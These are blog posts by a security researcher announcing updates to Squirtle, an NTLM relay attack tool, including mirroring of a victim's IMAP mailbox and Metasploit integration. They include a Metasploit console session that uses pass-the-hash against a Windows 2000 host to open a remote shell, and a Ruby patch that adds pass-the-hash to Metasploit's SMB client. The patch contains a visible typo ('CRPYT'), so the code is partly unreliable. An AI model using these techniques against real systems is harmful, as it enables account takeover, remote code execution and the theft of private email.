Squirtle Updates: IMAP, Metasploit integration complete

I just gave a talk to everyone here at DeepSec 08. Other than the weather being a bit cold and wet Vienna is awesome. Everyone seems happy to be at this conference and to share and network with each other. It's always fun giving the Squirtle talk to new audiences and see their eyes light up as they start to get why this attack matters to their environments or how they could use it on a client's penetration test.

With the conclusion of this talk I'm happy to announce that two new evil agent updates have been completed!

• IMAP Mirroring! Download a victim's entire IMAP directory! Use social engineering, have the help desk e-mail them a new password!
  
• Metasploit integration! SMB Relay an enterprise's server farm with Squirtle!
  

Get the latest updates from the Squirtle SVN at http://squirtle.googlecode.com/. The MSF update is a patch against the as-of-writing-this MSF 3.2-current SVN code. If things change I'll try to keep it updated. Not sure if this is "MSF-code worthy" as it uses the JSON ruby gem vs processing the result manually. I had the library installed, didn't want to write my own parser. :P

On Nov 11th MSRC posted some information on MS08-068 implementing some changes to the NTLM protocol to neuter the SMB Relay attack and possibly (but not mentioned) Squirtle as well. I haven't had a chance to play with yet as I didn't want to possibly spoil the live demos so close to DeepSec. It's nearly time to spend the evening at Metalab so more information as it develops (I promise!)

Big thanks to everyone here at DeepSec for coordinating this one-of-kind conference. Vienna is such a beautiful place to visit, I only wish it would be earlier in the season when it's not so cold and dreary outside. I hope to come next year for DeepSec 09!

Also, look for my ugly mug to make an appearance on Help Net Security soon. It's a brief plea on using Squirtle and hopefully my excitement over reaching more people isn't too transparent. :)

NTLM Hash Update

Things got a little busy/crazy around here so I'm not satisfied with what I have done so far so no code yet. This past weekend was Toorcon 1001 and it was as enjoyable as ever. I had a few breakthrough ideas thanks to the talks and side chats with everybody. That's mostly why I'm not satisfied -- always room for improvement. :)

I promise to show something soon. Really.

Pass The Hash Support for Metasploit

Surprisingly Metasploit 3's SMB auth routines didn't support "pass the hash" so I took some time and put it in.

msf exploit(ms06_040_netapi) > set SMBPass 6A98EB0FB88A449CBE6FABFD825BCA61:A4141712F19E9DD5ADF16919BB38A95C
SMBPass => 6A98EB0FB88A449CBE6FABFD825BCA61:A4141712F19E9DD5ADF16919BB38A95C
msf exploit(ms06_040_netapi) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(ms06_040_netapi) > exploit
[*] Started bind handler
[*] Doing pass the hash.
[*] LM: 6A98EB0FB88A449CBE6FABFD825BCA61
[*] NT: A4141712F19E9DD5ADF16919BB38A95C
[*] Detected a Windows 2000 target
[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.110.130[\BROWSER] ...
[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.110.130[\BROWSER] ...
[*] Building the stub data...
[*] Calling the vulnerable function...
[*] Command shell session 1 opened (192.168.110.1:42485 -> 192.168.110.130:4444)

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

The Patch:

Index: lib/rex/proto/smb/client.rb
===================================================================
--- lib/rex/proto/smb/client.rb (revision 4889)
+++ lib/rex/proto/smb/client.rb (working copy)
@@ -568,8 +568,13 @@

raise XCEPT::NTLM1MissingChallenge if not self.challenge_key

- hash_lm = pass.length > 0 ? CRYPT.lanman_des(pass, self.challenge_key) : ''
- hash_nt = pass.length > 0 ? CRYPT.ntlm_md4(pass, self.challenge_key) : ''
+ if (pass.length == 65)
+ hash_lm = CRYPT.e_p24( [ pass.upcase()[0,32] ].pack('H42'), self.challenge_key)
+ hash_nt = CRPYT.e_p24( [ pass.upcase()[33,65] ].pack('H42'), self.challenge_key)
+ else
+ hash_lm = pass.length > 0 ? CRYPT.lanman_des(pass, self.challenge_key) : ''
+ hash_nt = pass.length > 0 ? CRYPT.ntlm_md4(pass, self.challenge_key) : ''
+ end

data = ''
data << hash_lm
@@ -690,7 +695,11 @@
nonce = CRYPT.md5_hash(self.challenge_key + client_challenge)

# Generate the NTLM hash
- resp_ntlm = CRYPT.ntlm_md4(pass, nonce[0, 8])
+ if (pass.length == 65)
+ resp_ntlm = CRYPT.e_p24( [ pass.upcase()[33,65] ].pack('H42'), nonce[0, 8])
+ else
+ resp_ntlm = CRYPT.ntlm_md4(pass, nonce[0, 8])
+ end

# Generate the fake LANMAN hash
resp_lmv2 = client_challenge + ("\x00" * 16)